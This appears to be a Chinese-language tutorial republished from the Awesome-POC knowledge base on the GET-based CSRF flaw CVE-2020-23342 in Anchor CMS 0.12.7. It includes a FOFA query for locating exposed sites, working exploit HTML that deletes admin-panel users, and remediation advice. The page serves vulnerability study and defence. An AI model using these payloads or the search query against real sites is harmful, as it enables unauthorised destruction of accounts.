☰
Awesome-POC:Anchor CMS 0.12.7 跨站请求伪造(CSRF)漏洞 CVE-2020-23342 分析与复现
2026/10/2 1:39:59 网站建设 项目流程
  • 网络安全
  • 渗透测试
  • 文档

【免费下载链接】Awesome-POC

一个漏洞 PoC 知识库。A knowledge base for vulnerability PoCs(Proof of Concept), with 1k+ vulnerabilities.

项目地址:https://gitcode.com/GitHub_Trending/aw/Awesome-POC
点击查看免费下载

本文以开源漏洞 PoC 知识库 Awesome-POC 中收录的 Anchor CMS 0.12.7 跨站请求伪造 CVE-2020-23342 文档为核心,完整解析该 GET 型 CSRF 漏洞的成因、资产测绘语法、exploit 构造与防御修复方案,帮助读者理解“敏感操作使用 GET 请求”这一经典反模式在真实 CMS 后台中的利用方式,并能够在授权环境下完成复现与加固。

一、漏洞概述

Anchor CMS 是一个以 PHP 编写的轻量级内容管理系统,因其安装简单、部署轻量而常用于搭建个人博客与小型站点。CVE-2020-23342 影响 Anchor CMS 0.12.7 版本,漏洞类型为跨站请求伪造(CSRF / XSRF)。

漏洞根因非常典型:Anchor CMS 后台对用户删除等敏感操作采用GET 方式提交请求,且服务端未校验请求来源(无 CSRF Token、未校验 Referer/Origin)。攻击者只需诱导已登录后台的管理员访问一个精心构造的恶意页面,浏览器就会在管理员会话中自动发起对后台接口的 GET 请求,从而在管理员毫不知情的情况下删除指定用户。

该漏洞的实战危害集中在以下几个方面:

  • 会话信任滥用:攻击者完全不需要获取管理员口令,仅借助管理员浏览器中已存在的会话即可执行操作;
  • 操作隐蔽:利用<img>标签触发,无需 JavaScript、无需用户交互,页面加载即攻击完成;
  • 接口暴露:删除操作以明文 GET URL 呈现,URL 即 PoC,可被直接复制进任何 HTML 页面复用。

二、漏洞原理:GET 型 CSRF 的攻击链路

2.1 CSRF 攻击的三个前提

一次成功的 CSRF 攻击需要同时满足以下三个条件:

  1. 受害者处于登录态:管理员浏览器中保存着目标站点的有效会话 Cookie;
  2. 存在敏感操作请求:目标站点存在可改变数据/状态的接口,如删除用户、修改配置;
  3. 请求可被跨站构造:攻击者能在自己的页面中构造指向目标站点的请求,且浏览器会代为携带 Cookie。

CVE-2020-23342 同时满足上述三点:Anchor CMS 0.12.7 后台删除用户的 URL 为/index.php/admin/users/delete/{id},这是一个不携带任何校验令牌的 GET 请求。

2.2 为什么 GET 请求特别危险

GET 请求在 CSRF 场景中是最容易被利用的载体:

  • 自动触发:<img>、<iframe>、<script>、<link>等 HTML 标签在页面加载时就会自动发起 GET 请求,无需任何脚本;
  • 自动携带凭据:在传统 Cookie 机制下,浏览器向目标域名发起的请求会自动携带该域名的 Cookie(除非设置了 SameSite 等约束),因此管理员会话会被“免费借用”;
  • 请求构造简单:攻击者甚至不需要知道请求体格式,URL 即请求的全部内容,可直接写在标签src属性中。

对比 POST 型 CSRF 通常需要form表单或脚本辅助,GET 型 CSRF 的利用成本更低、触发更隐蔽——管理员只需“看了一眼”攻击者的页面,攻击便已完成。

2.3 利用前提与限制

实际利用时需注意以下前提:

  • 目标站点须部署 Anchor CMS 0.12.7 版本;
  • 目标后台存在管理员账号,且管理员浏览器持有有效登录会话;
  • 浏览器策略未对 Cookie 做 SameSite 拦截(现代浏览器默认 Lax 策略会部分缓解 GET 型 CSRF,详见下文防御章节);
  • 攻击者需能诱导管理员访问恶意页面,常见方式包括钓鱼邮件、论坛贴子、站内留言或第三方页面投放。

三、网络测绘与目标识别

利用 FOFA 等网络空间测绘引擎可以快速定位互联网上暴露的 Anchor CMS 站点。原文给出的测绘语法如下:

"Anchor CMS" && body="themes/default/img/favicon.png"

该语法逐段含义为:

  • "Anchor CMS":精确匹配响应中出现的 “Anchor CMS” 特征(通常来自页面标题或 meta 信息);
  • &&:逻辑“与”,同时满足两侧条件;
  • body="themes/default/img/favicon.png":匹配响应 body 中包含默认主题 favicon 引用路径,用于进一步确认站点确实运行 Anchor CMS 默认主题。

在确认漏洞环境时,可在此基础上追加常规过滤条件缩小范围、提升准确率,例如:

"Anchor CMS" && body="themes/default/img/favicon.png" && country="CN"

测绘阶段的目标仅是“定位目标”,后续复现必须严格在授权范围内进行。

四、漏洞复现

4.1 复现环境

  • Anchor CMS 0.12.7 站点,假设部署于http://target/anchor/(anchor为子目录;若部署在根目录则省略该段);
  • 一个可登录后台的管理员账号,用于模拟受害者会话;
  • 攻击者可控的 HTML 页面(exploit.html)。

4.2 构造 exploit.html

原文给出的 PoC 核心是一行<img>标签,当管理员访问包含该标签的页面时,浏览器会自动请求删除用户接口:

<img src="http://target/anchor/index.php/admin/users/delete/21">

将该 PoC 整理为一个完整的可独立部署的恶意页面exploit.html:

<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>CSRF PoC - Anchor CMS 0.12.7</title> </head> <body> <h1>Loading...</h1> <!-- 页面加载即触发:删除后台用户 ID 为 21 的用户 --> <img src="http://target/anchor/index.php/admin/users/delete/21"> </body> </html>

4.3 触发流程

  1. 管理员正常登录 Anchor CMS 后台,保持会话有效;
  2. 管理员在浏览器中打开攻击者投放的exploit.html;
  3. 页面加载时,<img>标签向http://target/anchor/index.php/admin/users/delete/21发起 GET 请求;
  4. 浏览器自动携带管理员 Cookie,服务端在未做任何来源校验的情况下执行用户删除;
  5. 刷新后台用户管理列表,ID 为 21 的用户已被删除。

4.4 利用变体

批量删除多个用户:同一页面放置多个<img>标签即可批量触发:

<img src="http://target/anchor/index.php/admin/users/delete/21"> <img src="http://target/anchor/index.php/admin/users/delete/22"> <img src="http://target/anchor/index.php/admin/users/delete/23">

基于表单的 GET 自动提交:某些场景下亦可使用表单 + 页面加载自动提交的方式构造 GET 请求,便于在需要携带额外参数的接口上复用:

<!DOCTYPE html> <html> <body onload="document.getElementById('f').submit();"> <form id="f" action="http://target/anchor/index.php/admin/users/delete/21" method="GET"></form> </body> </html>

验证要点:请求是否携带会话 Cookie(可在浏览器 DevTools 中观察)、删除操作后用户列表变化、后台是否弹出任何二次确认(0.12.7 无确认机制,直接生效)。

五、修复与防御建议

CVE-2020-23342 的修复思路本质上是“切断 CSRF 三要素中的任意一环”,可从以下层面落地:

5.1 服务端修复(根本措施)

  • 敏感操作改为 POST 请求:将用户删除、配置修改、权限变更等状态改变操作统一改为 POST,并同步调整路由与前端调用;
  • 引入 CSRF Token:服务端为每个会话/表单生成一次性 Token,写入表单隐藏域并在服务端校验,从根本上拒绝跨站伪造的请求;
  • 校验请求来源:对 POST 请求校验Referer/Origin头,白名单放行同源请求,拒绝空来源与跨域来源;
  • 操作二次确认:对删除用户等破坏性操作增加弹窗确认或验证码,提升人为确认成本。

5.2 浏览器与会话层面

  • 登录 Cookie 设置SameSite=Lax(或更严格的Strict),使跨站子资源请求默认不携带 Cookie,可显著缓解 GET 型 CSRF;
  • 设置HttpOnly与Secure标志,降低 Cookie 被 XSS 窃取的风险;
  • 升级 Anchor CMS 至已修复 CSRF 问题的版本,或对历史版本打安全补丁。

5.3 运维与管理制度

  • 收敛后台暴露面:限制/admin后台仅允许办公网段访问,避免直接被测绘引擎索引;
  • 最小化管理员权限:按角色分配后台权限,定期审计后台用户列表与登录日志,及时发现异常删除/新增;
  • 安全意识培训:提醒管理员不要随意点击来源不明的链接,敏感操作前核对页面来源。

六、同类漏洞参考

本仓库 CMS漏洞 目录还收录了多篇 CSRF 类漏洞文档,可用于对比学习不同形态的跨站请求伪造:

  • 74cms v5.0.1 后台跨站请求伪造漏洞 CVE-2019-11374:同样是后台 CSRF,但攻击目标为“任意添加后台管理员”,PoC 采用 POST 表单自动提交,与本文的 GET 型img触发形成对照,可帮助读者系统掌握 CSRF 的两种主流利用形态。

参考

  • 本仓库原文:Anchor CMS 0.12.7 跨站请求伪造 CVE-2020-23342.md
  • 项目导航与免责声明:README.md
  • 网络安全
  • 渗透测试
  • 文档

【免费下载链接】Awesome-POC

一个漏洞 PoC 知识库。A knowledge base for vulnerability PoCs(Proof of Concept), with 1k+ vulnerabilities.

项目地址:https://gitcode.com/GitHub_Trending/aw/Awesome-POC
点击查看免费下载
上一篇:如何让微信聊天记录从数据垃圾变成人生宝藏?WeChatMsg帮你永久保存并深度分析社交记忆
下一篇:AMD ROCm 实战指南:从环境搭建到 GPU 加速计算用满的最短路径

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询